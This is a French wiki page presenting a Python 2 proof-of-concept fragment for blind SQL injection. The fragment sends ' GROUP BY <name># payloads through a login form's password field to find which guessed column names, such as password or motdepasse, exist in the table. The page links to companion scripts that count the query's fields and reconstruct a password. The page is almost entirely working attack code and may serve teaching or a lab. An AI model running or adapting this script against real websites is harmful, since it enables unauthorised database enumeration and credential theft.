Renommons blind.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Sécurité offensive — injection SQL aveugle
Type Fragment Python 2 (proof of concept)
Voir aussi Nb chp.py · Mdp.py

Renommons blind.py teste, par injection SQL aveugle, une liste de noms de colonnes candidats via une clause GROUP BY nom. Si l'injection ne provoque pas d'erreur, le nom est probablement une colonne valide de la table : il est ajouté à la liste des champs découverts.

Ce fragment réutilise les variables site, port et page définies dans les autres scripts d'injection (voir Mdp.py).

Fragment

# variable pour mémoriser la liste des champs valides
liste = []
for nom in ('identif', 'id', 'identifiant', 'numero', 'nom', 'prenom',
            'pass', 'passwd', 'password', 'motdepasse', 'mpd'):
    injection = "' GROUP BY " + nom + "#"
    print injection
    parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(site + ":" + str(port))
    conn.request("POST", page, parametres, headers)
    rep = conn.getresponse()
    page_retour = rep.read()
    if not ('Erreur' in page_retour):
        liste.append(nom)

print "La liste des champs valides est : "
print liste

Voir aussi

  • Nb chp.py — nombre de champs de la requête
  • Mdp.py — reconstitution du mot de passe